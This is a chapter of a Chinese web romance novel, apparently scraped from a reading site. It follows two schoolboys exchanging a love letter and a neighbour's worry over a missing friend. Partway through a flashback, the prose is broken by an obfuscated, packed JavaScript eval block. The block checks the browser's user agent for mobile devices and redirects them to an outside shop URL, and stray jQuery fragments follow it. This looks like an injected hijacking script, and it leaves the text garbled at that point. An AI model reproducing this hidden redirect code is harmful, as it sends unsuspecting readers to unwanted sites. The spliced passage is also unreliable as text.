39. 打翻花盆的猫

作品:《温和四季

    沈家别墅里,低沉的争吵声从楼下渗上来,像一把钝刀,缓慢割裂着夜晚的寂静。


    白千月和沈明远从没在沈泽许面前红过脸,可最近却总在深夜争执。


    声音压得极低,又总在几句后戛然而止,像是怕惊醒了楼上那道沉默的影子。


    而现在,他们又开始了。


    白千月的声音罕见地发冷:“这样对我们都好,你去找别人吧,好聚好散。”


    “想都别想!你一辈子都是我的!”


    沈明远压低的怒吼震得水晶吊灯微微发颤,光影在墙面摇晃。


    沈泽许不知何时站在了楼梯口。


    两人倏地噤声,空气凝滞成冰。


    白千月上前了一步,声音放得极轻:“小沈……打扰到你了?”


    男生轻轻摇头:“没,下来接水。”


    “嗯……杯子给我吧,我来。”她伸手接过儿子手里的空杯,手上裸色指甲油已剥落几块。


    沈明远合上手中的财经报,发出哗啦声。


    父子俩的目光在半空短暂相撞,又各自错开,他劲直离开了客厅。


    等沈泽许回到卧室,楼下的灯已经熄了。


    黑暗里,只剩一缕未散的烟味,无声地证明着刚才的一切并非幻觉。


    手机屏幕亮起,陈温的消息顶着那颗晃眼的太阳头像跳出来:


    「明天早餐想吃什么?我给你带。(企鹅歪头歪脑.JPG)」


    窗外,一架夜航飞机低鸣着掠过庭院,机翼的灯光扫过梧桐树梢,又隐入云层。


    沈泽许将水杯搁在桌角,他斜倚着书桌边,在屏幕上轻点:


    「学校门前的那家肠粉。」


    对话框上方立刻显示“对方正在输入……”,陈温的回复追着他的尾音蹦出来,快得像是一直守在手机前:


    「宝宝:没问题!豆浆要不要?」


    「SSS:不了,饮料比较难带进学校。」


    「宝宝:好。」


    「那封信,你看了吗?」


    沈泽许的目光在最后一行字上停留片刻,从外套口袋里抽出一张信封。


    「SSS:还没,我现在看。」


    按下台灯开关,暖黄的灯光便倾照下来。


    男生拆开信封,纸张簌簌作响。


    信封信纸内印有一行小字:「你是我的第四片叶子。」


    展开信纸,陈温的字迹像他本人一样跳脱又认真,笔画时而飞扬时而收紧,像一场不受控的心跳。


    「亲爱的沈泽许:


    有些话,对着你的眼睛说不出口,只好写下来。


    刚开学那会儿,我觉得你这人很高冷,像一本合起来的精装书,让人摸不着头脑。


    后来,你在我晕倒时带我进医务室,在我没胃口时买绿豆沙(虽然最后没喝到),教我做面包……这些碎片堆在一起,渐渐拼成了我没预料到的形状。


    你让我经历了好多第一次。第一次有人陪我回家,第一次有人陪我等错过的公交车,第一次有人让我这么的喜欢……


    科学家说沼泽是生态的心脏——因为所有小溪都流向那里,才能孕育出生机勃勃的潮湿。


    沈泽许,你就像我的许愿池。我偷偷许过一个愿:希望我能成为陪你最久的那个人。


    这封信写得很乱。有些话当面说会脸红,发消息又总想撤回,只能像这样,把真心话夹在碎碎念里。


    所以说,我喜欢你,情理之中。


    不是喜欢春天的那种喜欢,是……想和你睡一张床上的……喜欢。


    沈泽许,我会永远永远对你好。不是嘴上说说,我会用行动证明的!


    你带着茉莉香闯进我的世界,在冬天来临,便有了答案——我拥有一整个温和四季,他就在我的眼睛里。


    ——爱你的陈温」


    读完最后,信纸边角已被沈泽许捏出褶皱。


    窗外,梧桐叶沙沙作响,每一片叶子都在窃窃私语,像藏不住的心事。


    房间内安静得只剩下时钟的滴答声。


    陈林峰他们下午就回了广州,偌小的房间只剩下陈温一个人。


    他躺在床上,手机屏幕暗了又亮,沈泽许那句“我现在看”之后,再没发来新消息。


    男生翻了个身,把发烫的手机紧贴在胸口。


    掌心里,电子元件微弱的震动透过薄薄的睡衣传来,仿佛是把另一颗心脏的跳动也一并按进了自己的身体。


    “叮咚——”


    屋外的门铃突兀地响起。


    “等一下!来了。”陈温放下手机,趿拉着拖鞋跑去开门,门外站着许久未见的陆晚枝。


    她手里拎着纸袋,脚边蹲着那只圆滚滚的狸花猫“大少”,尾巴翘得老高,活像个巡视领地的土财主。


    “大少又胖了呀!”陈温兴高采烈地蹲下身去摸它,掌心陷进猫咪蓬松的绒毛,沾着动物特有的暖意。


    陆晚枝露出个极淡的微笑,把袋子塞给陈温:“公司发了点曲奇饼干,我一个人吃不完,拿给你一些。”


    “哇,谢谢!”


    男生把袋子放在一旁的鞋柜上,侧身让她进屋,随后手忙脚乱地收拾茶几上散落的书本和揉成团的纸巾。


    “晚枝姐你坐这边,我这儿有点乱……”


    女生的神情似惆怅似漫不经心,落座到一边,说:“没关系。”


    陈温胡乱地收拾完,顺手把茶几上的果盘往她那边推:“尝尝?前几天买的阳光玫瑰。”


    陆晚枝点点头,捻起一颗晶莹的葡萄,品尝了一口,酸甜的汁水溢满出来。


    陈温也揪了一颗塞进嘴里,夜光透过果皮映出翡翠般的光泽,细细咀嚼时,他注意到陆晚枝垂着眼睫,指腹反复摩挲着葡萄梗。


    男生停下咀嚼的动作,喉结动了动:“姐姐,不喜欢吃吗?”


    “不是。”陆晚枝将头向上移,睫毛在眼下投出一小片阴影。“……江夏,”她声音很轻,像在斟酌字句,“最近有联系你吗?”


    “啊?”陈温怔住,葡萄在掌心滚了半圈,“她啊……没有。没删除我,也没拉黑我,但就是不回我信息。”他无意识捏紧了果梗,“我也不知道她最近怎么了。”


    “这样啊。”陆晚枝轻声应道,伸手去够陈温倒的果茶。


    空气似乎凝固了一秒。


    就在这一秒,进门就不见踪影的大少突然从沙发底窜出来,狸花尾巴像鞭子般扫过茶几,碰倒了玻璃杯。


    陈温只来得及看见一道黑棕相间的残影扑向阳台——


    “哗啦!”


    陶瓷花盆在地上炸开,泥土与清水四溅。大少蹲在洗衣机上,尾巴得意地卷成问号形状,嘴里还叼着什么东西,像带刀的螳螂。


    “嘶……完了!”陈温惊呼一声,虽然说这花盆内没有种如何东西。


    但是他儿时住爷爷奶奶家,每次失手打翻东西,藤条抽在他手心的痛感仿佛又火辣辣地烧了起来。


    他急忙翻找厨房的储物柜,却怎么也找不到抹布,也不知元姨放哪儿去了。


    见陈温急吼吼又手足无措的模样,陆晚枝拉开房门,头也不回道:“我去拿。”


    陈温翻了个遍,也没见着一张抹布。


    他先用扫帚将陶瓷碎片跟泥土收集起来,刚把最后一撮土扫进畚箕,陆晚枝就回来了,她手里攥着条泛黄的旧抹布。


    展开润湿过的抹布的刹那,女生猛地僵住——一角褐红的污渍像干涸的晚霞,在陈年水垢间掩人耳目。


    陈温见她神游天外,问道:“怎么了?”


    陆晚枝没说话,只是把毛巾往他眼前凑近了些。棉布纤维间褐红的印迹像干涸的颜料,边缘已经发黄。


    “血?!”陈温声音发紧道。


    “嗯……”陆晚枝低低应了一声。


    陈温以为是她不小心被碎片划伤了,说:“你受伤了?在哪里!疼不疼?”


    “不是……”陆晚枝把旧毛巾皱成一团,“这条毛巾……是江夏以前用的。”她声音有着哽咽,“她之前说因为沾了咖啡渍洗不掉,就扔在储物柜最里面……”


    陈温盯着那块“污渍”,又听了陆晚枝刚才的一番话,道:“你的意思是……这是江夏的血?”


    陆晚枝的睫毛颤了颤,几不可见地点头。


    两人沉默着收拾完残局。沙发上,陆晚枝蜷缩着身子,像个被雨淋透的纸人,怏怏的。


    陈温斟酌着用词,问:“她走的那天,有带走什么吗?”


    “就几件换洗的衣服,和她自己的钱包。”陆晚枝无意识地转动着左耳的黑色耳钉,继续说:“银行卡,日常用品什么的都还在家里……”


    “她……生过病了?”陈温说。


    陆晚枝说:“有点胃病,不过她之前一个人去医院检查过,医生说是小问题。”


    “但是有一次三更半夜,我听见她在厕所呕吐……我去质问她,她说是吃坏了肚子……”


    陈温的视线不自觉地追随着女生的动作——陆晚枝反复摩挲左耳的耳钉,可她的右耳却干干净净,没有任何穿刺的痕迹。


    男生的视线过于炙热,陆晚枝停下了转耳钉的手,抿起薄薄的嘴唇。


    好奇心驱使着陈温,说:“晚枝姐,你怎么只打一边的耳洞啊?这样不会很奇怪吗?”


    尘封的记忆忽然把这段话唤醒:


    大学附近的廉价出租屋内,浴室的水汽还未散尽。


    江夏穿着松松垮垮的睡衣,湿发枕在陆晚枝的肚子上,购物网站的界面在手里不断滑动。


    “枝枝。”江夏翻了个身,头发的水珠蹭湿陆晚枝的衣料,“你觉得打耳钉的拉拉,酷吗?”


    陆晚枝的指尖停在求职简历的发送键上,随口应道:“还行吧。”


    “那——”江夏猛地支起身子,膝盖压到陆晚枝的腿,“你怕不怕打耳钉呀?”


    “不怕啊。”陆晚枝终于从屏幕上移开视线,“不就是被蚊子叮一下的痛感吗?”


    “好!”江夏将手机屏幕怼到她面前,一张橙色的优惠券映入眼帘,“你也去打一个好不好?楼下新开的穿刺店,我抢到特价了!”


    陆晚枝挑眉:“现在连打耳洞都要抢优惠券了?”


    “重点是这个吗?”江夏扑过来,带着水蜜桃沐浴露的香气,“你就说去不去?”


    陆晚枝稳稳地接住她,道:“……随你。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171972|196843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她本以为江夏只是心血来潮,没想到第二天真被她拽进了那家藏在巷子深处的刺青店。


    消毒水混着油漆的味道里,她看到江夏兴奋地和店员比划:“要打耳骨钉,最酷的那一种!”


    当穿孔枪抵上左耳软骨时,陆晚枝才后知后觉地紧张起来。


    “咔”的一声,疼痛像一根烧红的针贯穿耳廓。她疼得皱眉抿住嘴唇,痛呼了一下。


    “打个耳洞,怎么还哭了呢?”


    店员举着棉签一脸莫名。


    虽然很疼,但是陆晚枝她没有哭啊。


    女生诧异地转头,就见江夏红着眼眶,眼泪正大颗大颗往下掉,鼻尖都哭得发红……


    回程的公交车上,江夏还在抽噎。


    陆晚枝用没打完耳洞的那侧耳朵靠着车窗,忍不住笑出来:“到底是谁打了耳洞啊?”


    问江夏为啥哭,她也不说。


    本来想下次再补另一只耳朵,可后来陆晚枝收到offer,这个“下次”就永远停在了秋天的路口。


    陈温沉默地听完,想说些什么,却最终什么也没说。


    夜色渐晚,陆晚枝站起身,影子在灯光下显得格外单薄。


    “不早了,我先回去了。”她轻声说,声音像是被夜风揉碎了。


    “好。”


    大少还趴在阳台的洗衣机上,尾巴垂下来一晃一晃的,嘴里果然叼着一只螳螂,见有人过来,它把那玩意儿吐了出来,瞳孔放大,无辜地“喵喵”叫。


    为了一只螳螂把花盆打翻了,陈温好气又无奈。


    男生走过去,夜风带着凉意拂过他的脸颊。


    “该回家了,大少。”


    有些肥胖的猫咪被陈温抱进怀里,大少似在装可怜,还在他臂弯里蹭了蹭。


    陈温抬头看了眼天色,深蓝的夜幕下,小区里的路灯已经排排亮了起来。


    早晚的温差让玻璃蒙上了一层薄薄的水雾。


    正要转身回屋,他的余光却瞥见楼下的长椅旁站着个人——一身黑衣,身形纤细,正仰头望着陈温所在的窗口。


    路灯的光晕模糊了那人的轮廓,但陈温还是感到一阵莫名的心悸。


    他揉起眼睛。


    再望去时,长椅上已经空无一人,只有几片木棉花叶被风卷着打了个旋儿。


    “……”


    陈温把大少交还给陆晚枝:“早点休息,拜拜。”


    他目送着一人一猫走进隔壁的房门,直到听见锁舌扣合的轻响,才慢慢关上了自己的门。


    回到温暖的被窝,刚躺下没多久,陈温一个激灵起身——他居然忘记回沈泽许信息了,把他晾了一个多小时!


    陈温慌忙划开屏幕,还好,沈泽许并没有发新信息过来,应该还在看“情书”。


    他发了个猫咪探头表情包,打探消息:


    「看完了吗?」


    对方秒回:「看完了。」


    男生咬着被角打字:「你就没有什么想说的吗?」


    「没有。」


    虚拟键盘被狠狠戳了三下:「。」


    「哼!」


    手机那端又弹出新消息:「骗你的。」


    紧接着跳出来个流泪的绿萝卜头表情。


    「大好人:我好感动。」


    这人想干嘛?有种不祥的预感。


    陈温撅着嘴,接着问:


    「还有呢?」


    「大好人:这……可以说吗?」


    「温馨提示:说啊,没人拦着你。」


    沈泽许的消息在寂静的屋内一清二楚:


    「想靠近你一点点……跟你牵手。」


    “……”


    手机啪嗒掉在被子上。


    陈温整个人像被扔进沸水的小虾米,从耳根一直红到锁骨处。


    他手忙脚乱捞起手机,颤抖着手指发了一个符号:


    「?」


    这对吗!?


    虽然但是,两人确实没有正式的牵过手。


    发完,男生深吸一口气,刚把发烫的脸埋进枕头,手机又亮了起来。


    「大好人:不可以嘛?(委屈.JPG)」


    陈温还没来得及打字说什么,消息就接二连三蹦出来:


    「大好人:好叭,其实我也没很想要跟你牵手。」


    陈温:“?”


    「大好人:我以为跟你谈恋爱,可以受到不一样的偏爱……」


    「你好像不太愿意的样子,那就算了……」


    「我没有很伤心。」


    陈温:“。?”


    他明明一个字都还没说啊!


    「温馨提示:没有,别瞎说。」


    发出去又立刻补了句:「牵手的话……emm」


    对话框上的“对方正在输入……”闪得他心慌,生怕沈泽许又说出那样的话,他赶紧噼里啪啦敲字:


    「明天回学校再说吧!」


    「太晚了,我要睡觉了!」


    像是怕被抓住破绽,又飞速追加:


    「不说了,晚安!」


    手机那头终于安静下来,陈温盯着那个姗姗来迟的「好。」字,长舒一口气,抹了把根本不存在的冷汗。